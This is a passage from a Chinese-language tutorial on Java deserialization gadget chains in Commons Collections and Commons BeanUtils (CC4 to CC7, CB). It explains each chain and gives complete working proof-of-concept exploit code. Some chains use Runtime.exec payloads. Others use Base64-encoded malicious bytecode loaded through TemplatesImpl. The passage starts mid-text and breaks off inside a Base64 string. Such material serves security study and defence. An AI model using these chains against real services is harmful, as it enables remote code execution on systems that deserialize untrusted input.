  • _tfactory 不能为 null,需要传入 new TransformerFactoryImpl()
  • 与 CC1 一样,JDK 8u71 后 AnnotationInvocationHandler 变化导致此链失效;但 CC3 的字节码负载本身可复用于其他链(CC4/CC5/CC6/CC7/CB)。

CC4:PriorityQueue + TransformingComparator(CC 4.x 版 CC3)

CC4 本质上是 CC2 和 CC3 的结合:用 CC2 的 PriorityQueueTransformingComparator.compare() 入口,装载 CC3 的 ChainedTransformer(TrAXFilter + InstantiateTransformer) 字节码加载链。

JDK 要求: 无特殊版本限制(不需 AnnotationInvocationHandler)。

CC 版本要求: Commons Collections 4.x。

调用链:

1
2
3
4
5
6
7
8
9
10
11
PriorityQueue.readObject()
heapify()
siftDown(i, queue[i])
siftDownUsingComparator(k, x)
TransformingComparator.compare(obj1, obj2)
this.transformer.transform(obj1)
ChainedTransformer.transform()
ConstantTransformer.transform() → TrAXFilter.class
InstantiateTransformer.transform(TrAXFilter.class) → new TrAXFilter(Impl)
TrAXFilter 构造方法 → Impl.newTransformer()
defineClass(bytecodes) → 执行 calc

关键步骤解析——size 字段的坑:

PriorityQueue.heapify() 的循环条件为 for (int i = (this.size >>> 1) - 1; i >= 0; i--),要求 size >= 2 才会进入循环。而新创建的 PriorityQueuesize 字段为 0,必须通过反射将其设为 2 或更大:

1
2
3
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue, 4); // 4 可以保证 (4 >>> 1) - 1 = 1 >= 0

另一种方式是通过 add() 的方法自然增加 size(详见 CC2 章节的补充说明)。

重要: CC4 试图沿用 CC1 的 ChainedTransformer(Runtime → getMethod → invoke → exec) 时,在 CC 4.x 中会报错——因为 4.0 的 InvokerTransformer 不实现 Serializable(安全修复)。因此 CC4 只能使用 CC3 的 TemplatesImpl 字节码加载 sink。

完整 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CC4 {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTG9yZy9leGFtcGxlL2V2aWxsOwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAmAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAKZXZpbGwuamF2YQwABwAIBwAnDAAoACkBAAhjYWxjLmV4ZQwAKgArAQARb3JnL2V4YW1wbGUvZXZpbGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAMAAQADQANAA4ACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAASAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAAVAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

TemplatesImpl Impl = new TemplatesImpl();
setFieldValue(Impl, "_name", "evil");
setFieldValue(Impl, "_class", null);
setFieldValue(Impl, "_bytecodes", new byte[][]{bytes});
setFieldValue(Impl, "_tfactory", new TransformerFactoryImpl());

ConstantTransformer trAX = new ConstantTransformer(TrAXFilter.class);
InstantiateTransformer in = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{Impl});
Transformer[] transformers = new Transformer[]{trAX, in};
ChainedTransformer chaind = new ChainedTransformer(transformers);

// CC4 前半段
TransformingComparator transformingComparator = new TransformingComparator(chaind);

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
Class priorityQueueClass = priorityQueue.getClass();
Field sizeField = priorityQueueClass.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue, 4);

serialize(priorityQueue);
deserialize();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}

注意事项:

  • 必须使用 CC 4.x,不可用 CC 3.x(PriorityQueue 在 3.x 中队列为空时 heapify 无操作)。
  • size 字段初始为 0,必须在序列化前反射修改为大于等于 2 的值。
  • CC4 不支持 CC1 的 Runtime.exec 链式 transform——这是 4.0 安全改进的直接结果。

CC5:BadAttributeValueExpException + TiedMapEntry + LazyMap

CC5 是绕过 JDK 8u71 限制的第一条链——它不再依赖 AnnotationInvocationHandler,转而使用 BadAttributeValueExpException 作为反序列化入口。

JDK 要求: 无特殊版本限制,**可工作在 JDK 8u71+**。

CC 版本要求: Commons Collections 3.x。

调用链:

1
2
3
4
5
6
7
8
BadAttributeValueExpException.readObject()
val.toString() // val 被设置为 TiedMapEntry 实例
TiedMapEntry.toString()
TiedMapEntry.getValue()
LazyMap.get(key)
ChainedTransformer.transform(key)
InvokerTransformer...
Runtime.exec("calc")

关键步骤解析:

  1. BadAttributeValueExpException.readObject() 内部对 val 字段调用 toString()
  2. TiedMapEntry.toString() 调用 getKey() + "=" + getValue(),而 getValue() 调用 this.map.get(this.key)
  3. TiedMapEntry 构造方法可以自由指定 mapLazyMap 实例,从而触发 LazyMap.get()
  4. 陷阱:BadAttributeValueExpException 的构造方法内部会立即调用 val.toString()——所以构造时必须传入一个安全值(如 null),构造完成后再反射替换为恶意的 TiedMapEntry

完整 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

// CC5 的开头
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
// 构造时传入 null 避免提前触发 toString()
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

// 反射修改 val 为恶意的 TiedMapEntry
Class a = Class.forName("javax.management.BadAttributeValueExpException");
Field valfield = a.getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(badAttributeValueExpException, tiedMapEntry);

serialize(badAttributeValueExpException);
deserialize();
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}

注意事项:

  • BadAttributeValueExpException 构造方法会调用 val.toString(),必须传入 null 然后用反射修改 val
  • 与 CC1 LazyMap 变体结构相似,只是入口类不同。
  • 可搭配 CC3 的 TemplatesImpl 字节码链替换 Runtime.exec 链。

CC6:HashMap + TiedMapEntry + LazyMap(最便携链)

CC6 是公认的移植性最强的 CC 链——它使用 HashMap.readObject() 作为入口,在 hash() 中触发 TiedMapEntry.hashCode(),最终连接到 LazyMap.get()。这条链不再依赖 JDK 内部类 AnnotationInvocationHandler,理论上可用于任意 JDK 版本。

JDK 要求: 无特殊版本限制。

CC 版本要求: Commons Collections 3.x。

变体一:HashMap 链

调用链:

1
2
3
4
5
6
7
8
9
HashMap.readObject()
HashMap.put(key, value) // 从流中读取 key-value 并重新 put
HashMap.hash(key)
key.hashCode() // key 是 TiedMapEntry
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get(key)
ChainedTransformer.transform(key)
Runtime.exec("calc")

关键步骤解析——假链 + remove 清理:

  1. 问题:HashMap.put() 在构造 POC 时就会被调用,从而提前触发 LazyMap.get() 弹出计算器。
  2. 解决:先用假的 ChainedTransformer(new ConstantTransformer(1)) 初始化 LazyMapput 结束后再反射替换 iTransformers 为真链。
  3. 另一个问题:LazyMap.get() 在第一次调用时会将 key-value(key 为 transform 参数,value 为 Process 对象)put 到内部 map 中;第二次调用时 containsKey 返回 true,不再触发 transform。而构造阶段的假 put 已经让 key 存在了,必须在替换真链之前 remove 掉。

完整 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6_HashMap {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};

ConstantTransformer runtime = new ConstantTransformer(Runtime.class);
InvokerTransformer getRuntime = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]});
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]});
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});
ConstantTransformer l = new ConstantTransformer(1);
Transformer[] transformers = new Transformer[]{runtime, getRuntime, invoke, exec, l};
ChainedTransformer chain = new ChainedTransformer(fakeTransformers);
// chain 初始化时用假的

Map map1 = new HashMap();
Map map2 = new HashMap();
Map lazyMap = LazyMap.decorate(map2, chain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "abc");
map1.put(tiedMapEntry, "aaa");
lazyMap.remove("abc");
// 移除 put 时留下的 key,保证反序列化时 LazyMap.get 中的 containsKey 返回 false

Field field = chain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain, transformers);
// 替换为真正的恶意链

serialize(map1);
deserialize();
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}

另一种等价写法——修改 factory 而非 iTransformers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ConstantTransformer runtime = new ConstantTransformer(Runtime.class);
InvokerTransformer getRuntime = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]});
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]});
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});
Transformer[] transformers = new Transformer[]{runtime, getRuntime, invoke, exec};
ChainedTransformer chain = new ChainedTransformer(transformers);

Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
ChainedTransformer fake = new ChainedTransformer(fakeTransformer);

Map map1 = new HashMap();
Map map2 = new HashMap();
Map lazyMap = LazyMap.decorate(map2, fake);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lyz");
map1.put(tiedMapEntry, "txy");
map2.remove("lyz");

// 修改 LazyMap 的 factory 属性
Class clazz = lazyMap.getClass();
Field field = clazz.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap, chain);

serialize(map1);
deserialize();

变体二:HashSet 链(ysoserial 标准版)

ysoserial 实际使用的 CC6 是用 HashSet 作为入口,其 readObject 内部同样调用 HashMap.put()——核心逻辑一致,只是外层容器不同。

完整 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6_HashSet {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};

ConstantTransformer runtime = new ConstantTransformer(Runtime.class);
InvokerTransformer getRuntime = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]});
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]});
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});
ConstantTransformer l = new ConstantTransformer(1);
Transformer[] transformers = new Transformer[]{runtime, getRuntime, invoke, exec, l};
ChainedTransformer chain = new ChainedTransformer(fakeTransformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "b1uel0n3");
HashSet map = new HashSet();
map.add(tiedMapEntry);
innerMap.remove("b1uel0n3");

Field field = chain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain, transformers);

serialize(map);
deserialize();
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}

注意事项(HashMap 和 HashSet 变体通用):

  • HashMap.put() 作为构造期触发源和反序列化触发源,必须在构造阶段用假链隔离。
  • Process 对象不可序列化,假 put 的返回值不能是 Runtime.exec() 的返回值,而是 ConstantTransformer(1) 返回的 Integer。
  • remove("key") 必不可少——否则 LazyMap.get 发现 key 已存在,跳过 factory.transform(key)

CC7:Hashtable + hash 碰撞 + LazyMap(最复杂链)

CC7 是所有 CC 链中最复杂的一条。它使用 Hashtable 作为入口,利用 AbstractMap.equals() 内部的 get() 调用触发 LazyMap.get()。整条链涉及 hash 碰撞、size 校验和多层条件绕过,是深入学习 Java 集合框架反序列化行为的绝佳案例。

JDK 要求: 无特殊版本限制。

CC 版本要求: Commons Collections 3.x。

调用链:

1
2
3
4
5
6
7
8
9
Hashtable.readObject()
reconstitutionPut(table, key, value)
Hashtable.Entry 遍历发现 hash 碰撞
key.equals(existingEntry.key) // key 是 LazyMap 实例
AbstractMapDecorator.equals(LazyMap2)
AbstractMap.equals(LazyMap2)
LazyMap2.get(key) // 触发!
ChainedTransformer.transform(key)
Runtime.exec("calc")

关键步骤解析:

第一步:Hashtable.readObject 与 hash 碰撞

Hashtable.readObject() 的流程如下:

1
2
3
4
5
6
7
8
9
10
11
12
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
int var2 = var1.readInt();
int var3 = var1.readInt();
// ...
this.table = new Entry[var4];
for (this.count = 0; var3 > 0; --var3) {
Object var5 = var1.readObject();
Object var6 = var1.readObject();
this.reconstitutionPut(this.table, var5, var6);
}
}

每次循环读取两个对象(key 和 value),然后调用 reconstitutionPut

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void reconstitutionPut(Entry<?, ?>[] var1, K var2, V var3) throws StreamCorruptedException {
if (var3 == null) {
throw new StreamCorruptedException();
} else {
int var4 = var2.hashCode();
int var5 = (var4 & Integer.MAX_VALUE) % var1.length;
for (Entry var6 = var1[var5]; var6 != null; var6 = var6.next) {
if (var6.hash == var4 && var6.key.equals(var2)) {
throw new StreamCorruptedException();
}
}
// 创建新 Entry 并插入
}
}

关键点:当两次 put 的 key 具有相同的 hashCode 时,第二次 put 会进入 for 循环并执行 var6.key.equals(var2)——这触发了 LazyMap.equals()

第二步:hash 碰撞构造

由于 LazyMap.hashCode() 委托给了内部 HashMap

1
2
3
4
// AbstractMapDecorator
public int hashCode() {
return map.hashCode();
}

只需让两个 HashMaphashCode() 值相等:

1
2
3
4
5
6
7
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();

hashMap1.put("yy", 1);
hashMap2.put("zZ", 1); // 注意是 "zZ" 而不是 "zz"

System.out.println(hashMap2.hashCode() == hashMap1.hashCode()); // true

因为 String 的 hashCode 公式为 s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1],”yy” 和 “zZ” 恰好 hash 值相同(均为 3872)。

第三步:equals 到 LazyMap.get 的路径

AbstractMapDecorator.equals() 委托给 map.equals(另一个LazyMap),进入 AbstractMap.equals()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public boolean equals(Object var1) {
if (var1 == this) return true;
if (!(var1 instanceof Map)) return false;
Map var2 = (Map) var1;
if (var2.size() != this.size()) return false; // 条件①
try {
for (Map.Entry var4 : this.entrySet()) { // 需要 this 中有 Entry ②
Object var5 = var4.getKey();
Object var6 = var4.getValue();
if (var6 == null) {
if (var2.get(var5) != null || !var2.containsKey(var5)) // ③
return false;
} else if (!var6.equals(var2.get(var5))) { // ④
return false;
}
}
return true;
} catch (...) {
return false;
}
}

关键条件分析:

  1. 条件①:两个 Map 的 size 必须相等。
  2. 条件②this(调用方的 LazyMap)的 entrySet 必须有元素才能进入 for 循环。
  3. 条件③ 或 ④:到达 get() 调用需要走这两个分支之一。走条件③(value 为 null)最简单。

因此构造:LazyMap1.put("yy", 1)LazyMap2.put("zZ", 1) 保证每个内部 HashMap 有一组 entry 且 size 相同。

第四步:size 不同步问题与 stray key 清理

构造阶段 Hashtable.put(lazyMap, 1) 会触发和 reconstitutionPut 相同的逻辑。第二次 put 时进入 equalsvar2.get("yy") 调用 LazyMap2.get("yy")——由于 LazyMap2 内部没有该 key,触发 factory.transform("yy") 并将 ("yy", Process对象) 存入内部 HashMap,导致两个 LazyMap 的 size 不同(反序列化时 equals 第一步 size != 直接返回 false)。

解决:在 put 完成后从 LazyMap2remove("yy") 清理 stray key。

完整 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 先置为空,put 后再写回,防止构造阶段触发
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
decorateMap.put("yy", 1);

HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap, 1);
hashtable.put(decorateMap2, 1);

// 清理 stray key:第二次 put 时 decorateMap2.get("yy") 把 "yy" 放进了 decorateMap2
decorateMap2.remove("yy");

// 反射替换为真正的恶意链
Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
Field field = chainedTransformerClass.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);

serialize(hashtable);
deserialize();
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}

注意事项:

  • ChainedTransformer 构造时传空数组(new Transformer[]{}),避免 put 阶段触发。
  • hashMap1.put("yy", 1)hashMap2.put("zZ", 1) 是 hash 碰撞(均为 3872)的经典组合。注意第二个 key 是 "zZ"(大写 Z),不是 "zz"(全小写)。
  • decorateMap2.remove("yy") 是整条链中最容易被忽略的步骤——没有这一步,反序列化时两个 Map 的 size 不相等,equals 直接返回 false。
  • 与 CC5/CC6 一样可搭配 CC3 的 TemplatesImpl 字节码链替换 sink。

CB:Commons BeanUtils + BeanComparator(无 Transformer 链)

CB(Commons BeanUtils)链是一条特殊的链:它完全不使用 InvokerTransformer / ChainedTransformer 等 Commons Collections 的 transform 类,而是利用 BeanComparator.compare() 内部的 PropertyUtils.getProperty() 来调用 getter 方法,从而触发 TemplatesImpl.getOutputProperties() -> newTransformer()

这条链的意义在于:即使安全产品彻底封锁了 InvokerTransformer 的反序列化,CB 链仍能生效。但它需要同时依赖 commons-beanutilscommons-collections(作为 BeanComparator 的底层 Comparator 提供者)。

JDK 要求: 无特殊版本限制。

CC 版本要求: Commons Collections 3.x(作为 ComparableComparator 提供者),配合 Commons BeanUtils(如 1.9.2)。

PropertyUtils 与 getter 调用

PropertyUtils.getProperty(bean, propertyName) 内部通过反射查找 bean 类的 get<PropertyName> 方法并调用它:

1
PropertyUtils.getProperty(bean, "name")  // 等价于 bean.getName()

对于 TemplatesImpl

1
2
3
PropertyUtils.getProperty(templatesImpl, "outputProperties")
// 查找 getOutputProperties() 并调用
// getOutputProperties() 内部调用 newTransformer() → 加载字节码

注意:PropertyUtils.getProperty 查找的是 get 方法名,因此传入 "outputProperties" 才能匹配 getOutputProperties();传入 "_outputProperties" 会查找不存在的 get_outputProperties() 导致失败。

BeanComparator + PriorityQueue 入口

BeanComparator.compare(o1, o2) 内部:

1
2
3
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);

this.property 通过构造方法或 setProperty() 设置,因此将 property 设为 "outputProperties" 即可。

调用链沿用 CC2/CC4 的 PriorityQueue.readObject()heapifysiftDownUsingComparatorcomparator.compare() 路径。

调用链:

1
2
3
4
5
6
7
8
9
10
11
PriorityQueue.readObject()
heapify()
siftDown(i, queue[i])
siftDownUsingComparator(k, x)
BeanComparator.compare(queue[j], queue[j+1])
PropertyUtils.getProperty(TemplatesImpl, "outputProperties")
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
getTransletInstance()
defineTransletClasses()
defineClass(bytecodes) → 执行 calc

完整 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTG9yZy9leGFtcGxlL2V2aWxsOwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAmAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAKZXZpbGwuamF2YQwABwAIBwAnDAAoACkBAAhjYWxjLmV4ZQwAKgArAQARb3JnL2V4YW1wbGUvZXZpbGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3